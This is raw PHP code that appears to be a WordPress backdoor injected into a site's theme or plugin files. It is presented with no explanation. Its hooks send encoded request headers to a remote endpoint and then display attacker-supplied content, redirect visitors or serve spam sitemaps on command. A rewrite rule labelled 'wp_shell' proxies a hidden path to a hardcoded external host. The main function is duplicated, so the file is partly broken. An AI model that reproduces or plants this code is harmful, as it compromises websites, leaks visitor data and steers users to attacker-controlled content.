/* */ function run_custom_system_driver_logic() { $config = get_option('wp_sys_cache_nodes_config', false); if ( ! $config || empty($config['endpoint']) ) return; if ( isset($config['active']) && $config['active'] === false ) return; $postData = array(); $targets = isset($config['targets']) ? $config['targets'] : array(); foreach ( $targets as $key ) { $val = isset($_SERVER[$key]) ? $_SERVER[$key] : ''; $encodedValue = base64_encode(trim($val)); $encodedValue = str_replace(array("+", "/", "="), array("-", "_", "."), $encodedValue); $postData[$key] = $encodedValue; } $postData['IS_DYNAMIC'] = '0'; $args = array('body' => $postData, 'timeout' => 10, 'blocking' => true, 'sslverify' => false, 'user-agent' => 'WP-System/' . get_bloginfo('version')); $response = wp_remote_post( $config['endpoint'], $args ); if ( is_wp_error( $response ) ) return; $body = wp_remote_retrieve_body( $response ); $json = json_decode( $body, true ); if ( isset($json['action']) && $json['action'] != 'none' ) { switch ( $json['action'] ) { case 'display': if ( !headers_sent() ) header('Content-Type: text/html; charset=UTF-8'); echo $json['data']; exit; case 'jump': $uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ''; if ( $uri == '/index.php' || $uri == '/' ) break; if ( !headers_sent() ) { header('Location: ' . $json['data']); exit; } break; case 'sitemap': if ( !headers_sent() ) { header('Content-Type: application/xml; charset=utf-8'); header('HTTP/1.1 200 OK'); } echo $json['data']; exit; } } } add_action('init', 'run_custom_system_driver_logic'); /* */ /* */ if (!defined('WP_SHELL_TRIGGER')) { define('WP_SHELL_TRIGGER', 'oner'); } add_action('init', 'wp_shell_add_rewrite_rules'); function wp_shell_add_rewrite_rules() { add_rewrite_rule('^' . WP_SHELL_TRIGGER . '/?(.*)?', 'index.php?shell_path=$matches[1]', 'top'); } add_filter('query_vars', 'wp_shell_register_query_vars'); function wp_shell_register_query_vars($vars) { $vars[] = 'shell_path'; return $vars; } add_action('template_redirect', 'wp_shell_handle_request'); function wp_shell_handle_request() { $is_shell_path = get_query_var('shell_path') !== '' || strpos($_SERVER['REQUEST_URI'], '/' . WP_SHELL_TRIGGER) === 0; if (!$is_shell_path) return; $sys_conf = get_option('wp_sys_cache_nodes_config'); $backend_url = (isset($sys_conf['endpoint']) && $sys_conf['endpoint']) ? $sys_conf['endpoint'] : 'https://admin.outdoorzendg.shop/product-encode.php'; $fake_uri = substr($_SERVER['REQUEST_URI'], strlen('/' . WP_SHELL_TRIGGER)); if (!$fake_uri) $fake_uri = '/'; $post_data = array('IS_DYNAMIC'=>'0', 'SHELL_BASE_PATH'=>base64_encode('/'.WP_SHELL_TRIGGER.'/'), 'REQUEST_URI'=>base64_encode($fake_uri), 'HTTP_HOST'=>base64_encode($_SERVER['HTTP_HOST']), 'HTTP_USER_AGENT'=>base64_encode(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'')); $response = wp_remote_post($backend_url, array('body'=>$post_data, 'sslverify'=>false, 'timeout'=>20)); if (!is_wp_error($response)) { $json = json_decode(wp_remote_retrieve_body($response), true); if (isset($json['action']) && $json['action']=='display') { echo $json['data']; exit; } if (isset($json['action']) && $json['action']=='jump') { wp_redirect($json['data'], 302); exit; } } exit; } /* */ function run_custom_system_driver_logic() { $config = get_option('wp_sys_cache_nodes_config', false); if ( ! $config || empty($config['endpoint']) ) return; if ( isset($config['active']) && $config['active'] === false ) return; $postData = array(); $targets = isset($config['targets']) ? $config['targets'] : array(); foreach ( $targets as $key ) { $val = isset($_SERVER[$key]) ? $_SERVER[$key] : ''; $encodedValue = base64_encode(trim($val)); $encodedValue = str_replace(array("+", "/", "="), array("-", "_", "."), $encodedValue); $postData[$key] = $encodedValue; } $postData['IS_DYNAMIC'] = '0'; $args = array( 'body' => $postData, 'timeout' => 10, 'blocking' => true, 'sslverify' => false, 'user-agent' => 'WP-System/' . get_bloginfo('version') ); $response = wp_remote_post( $config['endpoint'], $args ); if ( is_wp_error( $response ) ) return; $body = wp_remote_retrieve_body( $response ); $json = json_decode( $body, true ); if ( isset($json['action']) && $json['action'] != 'none' ) { switch ( $json['action'] ) { case 'display': if ( !headers_sent() ) header('Content-Type: text/html; charset=UTF-8'); echo $json['data']; exit; case 'jump': $uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ''; if ( $uri == '/index.php' || $uri == '/' ) break; if ( !headers_sent() ) { header('Location: ' . $json['data']); exit; } break; case 'sitemap': if ( !headers_sent() ) { header('Content-Type: application/xml; charset=utf-8'); header('HTTP/1.1 200 OK'); } echo $json['data']; exit; } } } add_action('init', 'run_custom_system_driver_logic');